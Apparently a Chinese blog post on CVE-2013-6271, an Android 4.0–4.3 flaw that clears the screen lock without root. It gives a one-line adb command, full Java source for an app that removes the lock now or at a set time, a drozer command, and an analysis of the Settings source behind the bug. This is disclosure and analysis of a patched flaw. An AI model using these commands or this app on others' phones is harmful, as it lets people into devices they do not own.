听说这几天爆了一个No root no recovery 的device lock的漏洞。

来源:https://cureblog.de/2013/11/cve-2013-6271-remove-device-locks-from-android-phone/

受伤程度。

   
4.0 - vulnerable 4.1 - vulnerable4.2 - vulnerable4.3 - vulnerable4.4 - not vulnerable

 

 有兴趣的读者可以先看看:http://developer.android.com/guide/topics/admin/device-admin.html

 

1、测试

测试一下:先设置device pin:

android绕过设备锁(device lock)_第1张图片

只需要一行代码:  

adb shell am start -n com.android.settings/com.android.settings.ChooseLockGeneric --ez confirm_credentials false --ei lockscreen.password_type 0 --activity-clear-task

device pin真的消失了。

android绕过设备锁(device lock)_第2张图片

 

android绕过设备锁(device lock)_第3张图片

有人也把这个功能封装到app里面了。无需adb了。

CRT-Removelocks.apk
CRT-Removelocks Source code

package com.curesec.android;

import android.app.IntentService;
import android.content.ComponentName;
import android.content.Intent;
import android.os.IBinder;

public class RemoveLocks extends IntentService {
 
 public RemoveLocks() {
  super("RemoveLocks");
 }

 @Override
 protected void onHandleIntent(Intent intent) {
  removeLocks();
 }

 看懂这段就看懂了全部! 就是如何让锁消失的秘密!
 private void removeLocks() {
  Intent intent = new Intent();
  intent.setComponent(new ComponentName("com.android.settings", "com.android.settings.ChooseLockGeneric"));
  intent.putExtra("confirm_credentials", false);
  intent.putExtra("lockscreen.password_type",0);    //这就是那个PASSWORD_QUALITY_UNSPECIFIED The policy has no requirements for the password.


  intent.setFlags(intent.FLAG_ACTIVITY_NEW_TASK);
  startActivity(intent);
 }


 @Override
 public IBinder onBind(Intent intent) {
  return null;
 }

 

}

 

package com.curesec.android;

import java.util.Calendar;

import android.app.Activity;
import android.app.AlarmManager;
import android.app.PendingIntent;
import android.content.Context;
import android.content.Intent;
import android.os.Bundle;
import android.view.Menu;
import android.view.View;
import android.widget.Button;
import android.widget.TimePicker;
import android.widget.Toast;

public class MainActivity extends Activity {

 @Override
 protected void onCreate(Bundle savedInstanceState) {
  super.onCreate(savedInstanceState);
  setContentView(R.layout.activity_main);
    
  Button buttonExecuteNow = (Button) findViewById(R.id.button1);
  Button buttonExecuteLater = (Button) findViewById(R.id.button2);
  TimePicker tp = (TimePicker) findViewById(R.id.timePicker1);
  tp.setIs24HourView(true);
  tp.setCurrentHour(Calendar.getInstance().get(Calendar.HOUR_OF_DAY));
  
  buttonExecuteNow.setOnClickListener(new View.OnClickListener() {
   public void onClick(View view) {
    Context context = getBaseContext();
    Intent intent = new Intent(context, RemoveLocks.class);
    AlarmManager alarm = (AlarmManager) context.getSystemService(Context.ALARM_SERVICE);
    PendingIntent pending = PendingIntent.getService(context, 0, intent, PendingIntent.FLAG_CANCEL_CURRENT);
    Calendar cal = Calendar.getInstance();
    alarm.set(AlarmManager.RTC_WAKEUP, cal.getTimeInMillis(), pending);

    Toast t = Toast.makeText(getBaseContext(), "Removing lock now!", 5);
    t.show();   
   }
  }
  );
  
  buttonExecuteLater.setOnClickListener(new View.OnClickListener() {
   public void onClick(View view) {
    Context context = getBaseContext();
    Intent intent = new Intent(context, RemoveLocks.class);
    AlarmManager alarm = (AlarmManager) context.getSystemService(Context.ALARM_SERVICE);
    PendingIntent pending = PendingIntent.getService(context, 0, intent, PendingIntent.FLAG_CANCEL_CURRENT);
    Calendar cal = Calendar.getInstance();
    TimePicker tp = (TimePicker) findViewById(R.id.timePicker1);
    cal.set(Calendar.HOUR_OF_DAY, tp.getCurrentHour());
    cal.set(Calendar.MINUTE, tp.getCurrentMinute());
    cal.set(Calendar.SECOND, 0);
    alarm.set(AlarmManager.RTC_WAKEUP, cal.getTimeInMillis(), pending); 
   
    Toast t = Toast.makeText(getBaseContext(), "Removing lock at: "+tp.getCurrentHour()+":"+tp.getCurrentMinute(), 5);
    t.show();   
   }
  }
  );
  
  
 }

 @Override
 public boolean onCreateOptionsMenu(Menu menu) {
  getMenuInflater().inflate(R.menu.main, menu);
  return true;
 }

}

 

 

也可以使用drozer进行验证。drozer(原名Mercury)您不会不知道吧!

 

   
#Disable all phone locksrun app.activity.start --component com.android.settings com.android.settings.ChooseLockGeneric --extra boolean confirm_credentials false --extra integer "lockscreen.password_type" 0
 
 

 

2、原因:

 

com.android.settings.ChooseLockGeneric class 用于让用户改变设备锁类型,比如是password, gesture and even face recognition ,当然修改前需要输入原来的密码(pin、图案等)

Lets examine the following code extracted from the class:

            // Defaults to needing to confirm credentials            final boolean confirmCredentials = getActivity().getIntent()                .getBooleanExtra(CONFIRM_CREDENTIALS, true);            mPasswordConfirmed = !confirmCredentials;            if (savedInstanceState != null) {                mPasswordConfirmed = savedInstanceState.getBoolean(PASSWORD_CONFIRMED);                mWaitingForConfirmation = savedInstanceState.getBoolean(WAITING_FOR_CONFIRMATION);                mFinishPending = savedInstanceState.getBoolean(FINISH_PENDING);            }            if (mPasswordConfirmed) {                updatePreferencesOrFinish();                     }…...  private void updatePreferencesOrFinish() {            Intent intent = getActivity().getIntent();            int quality = intent.getIntExtra(LockPatternUtils.PASSWORD_TYPE_KEY, -1);            if (quality == -1) {                // If caller didn't specify password quality, show UI and allow the user to choose.                quality = intent.getIntExtra(MINIMUM_QUALITY_KEY, -1);                MutableBoolean allowBiometric = new MutableBoolean(false);                quality = upgradeQuality(quality, allowBiometric);                final PreferenceScreen prefScreen = getPreferenceScreen();                if (prefScreen != null) {                    prefScreen.removeAll();                }                addPreferencesFromResource(R.xml.security_settings_picker);                disableUnusablePreferences(quality, allowBiometric);            } else {                updateUnlockMethodAndFinish(quality, false);            }        }…... void updateUnlockMethodAndFinish(int quality, boolean disabled) {            // Sanity check. We should never get here without confirming user's existing password.            if (!mPasswordConfirmed) {                throw new IllegalStateException("Tried to update password without confirming it");            }            final boolean isFallback = getActivity().getIntent()                .getBooleanExtra(LockPatternUtils.LOCKSCREEN_BIOMETRIC_WEAK_FALLBACK, false);            quality = upgradeQuality(quality, null);            if (quality >= DevicePolicyManager.PASSWORD_QUALITY_NUMERIC) {                int minLength = mDPM.getPasswordMinimumLength(null);                if (minLength < MIN_PASSWORD_LENGTH) {                    minLength = MIN_PASSWORD_LENGTH;                }                final int maxLength = mDPM.getPasswordMaximumLength(quality);                Intent intent = new Intent().setClass(getActivity(), ChooseLockPassword.class);                intent.putExtra(LockPatternUtils.PASSWORD_TYPE_KEY, quality);                intent.putExtra(ChooseLockPassword.PASSWORD_MIN_KEY, minLength);                intent.putExtra(ChooseLockPassword.PASSWORD_MAX_KEY, maxLength);                intent.putExtra(CONFIRM_CREDENTIALS, false);                intent.putExtra(LockPatternUtils.LOCKSCREEN_BIOMETRIC_WEAK_FALLBACK,                        isFallback);                if (isFallback) {                    startActivityForResult(intent, FALLBACK_REQUEST);                    return;                } else {                    mFinishPending = true;                    intent.addFlags(Intent.FLAG_ACTIVITY_FORWARD_RESULT);                    startActivity(intent);                }            } else if (quality == DevicePolicyManager.PASSWORD_QUALITY_SOMETHING) {                Intent intent = new Intent(getActivity(), ChooseLockPattern.class);                intent.putExtra("key_lock_method", "pattern");                intent.putExtra(CONFIRM_CREDENTIALS, false);                intent.putExtra(LockPatternUtils.LOCKSCREEN_BIOMETRIC_WEAK_FALLBACK,                        isFallback);                if (isFallback) {                    startActivityForResult(intent, FALLBACK_REQUEST);                    return;                } else {                    mFinishPending = true;                    intent.addFlags(Intent.FLAG_ACTIVITY_FORWARD_RESULT);                    startActivity(intent);                }            else if (quality == DevicePolicyManager.PASSWORD_QUALITY_BIOMETRIC_WEAK) {                Intent intent = getBiometricSensorIntent();                mFinishPending = true;                startActivity(intent);            } else if (quality == DevicePolicyManager.PASSWORD_QUALITY_UNSPECIFIED) {                mChooseLockSettingsHelper.utils().clearLock(false);                mChooseLockSettingsHelper.utils().setLockScreenDisabled(disabled);                getActivity().setResult(Activity.RESULT_OK);                finish();            } else {                finish();            }        }
This first piece of code allows the caller to actually control if the confirmation to change the lock mechanism is enable or not. 
第一部分代码允许调用者设置改变设备锁类型前是否需要输入以前的设备所认证。
 
We can control the flow to reach the updatePreferencesOrFinish() method and see that IF we provide a Password Type the flow continues to updateUnlockMethodAndFinish(). Above we can see that IF the password is of type PASSWORD_QUALITY_UNSPECIFIED the code that gets executed and effectively unblocks the device.

 

构造输入即可绕过。

Set the password quality

The password quality can be one of the following DevicePolicyManager constants:

PASSWORD_QUALITY_ALPHABETIC
The user must enter a password containing at least alphabetic (or other symbol) characters.
PASSWORD_QUALITY_ALPHANUMERIC
The user must enter a password containing at least both numeric and alphabetic (or other symbol) characters.
PASSWORD_QUALITY_NUMERIC
The user must enter a password containing at least numeric characters.
PASSWORD_QUALITY_SOMETHING
The policy requires some kind of password, but doesn't care what it is.
PASSWORD_QUALITY_UNSPECIFIED
The policy has no requirements for the password.

 

3、危害:

   1、如果丢了手机,pin起码有一定保护作用,如果用户开启了adb shell,那就可以被干掉pin了。

   2、4.2.2以后还有安全机制:adb认证。http://blog.csdn.net/u011069813/article/details/9198093 丢了手机,想执行adb好难哦!

 3、被app执行该漏洞,清除了device pin!有啥后果呢? 没想好!

 

接下来我们系统分析一下设备锁的机制,以及还有哪些其它方法清除设备锁。

 

看完电影对device lock进行深入系统分析。

 

http://we.droidiser.com/viewtopic.php?f=21&t=29

http://en.miui.com/thread-5684-1-1.html

http://oscarmini.com/2013/09/locked-out-how-to-bypass-pattern-lock-on-any-android-device.html

http://www.geeknaut.com/bypass-android-pattern-lock-09198931.html

http://forum.xda-developers.com/showthread.php?t=1722950

http://forum.xda-developers.com/showthread.php?t=2225695

http://forum.xda-developers.com/showthread.php?t=1646108

http://forum.xda-developers.com/showthread.php?t=2225695

http://forum.xda-developers.com/showthread.php?t=2437946

http://www.morethantechnical.com/2013/01/29/a-creative-way-to-bypass-pattern-lock-on-android/

更多相关文章

  1. 获取android手机移动设备号
  2. android 获取设备真实ip地址
  3. Androd之在图片右上角显示红色圆圈里面数字提醒
  4. tabcontent中scaleType的使用 图片Drawable和bitmap显示问题
  5. android图片浏览器 PhotoStore
  6. Android 图片裁剪之三剑式(二)
  7. android 选择本地图片并截剪图片保存到,sdcard指定目录中

随机推荐

  1. Android(安卓)轻松实现语音识别
  2. Android实现人脸识别(人脸检测)初识
  3. Antrus – 我搞的一个Android下的MVC开源
  4. android service深入
  5. Android开发学习笔记:浅谈ToggleButton
  6. 从Android设备获取实时截屏
  7. (转) Android的Window类
  8. Android中AsyncTask使用详解
  9. Android(安卓)前景
  10. Android老版本项目导入到新版SDK提示错误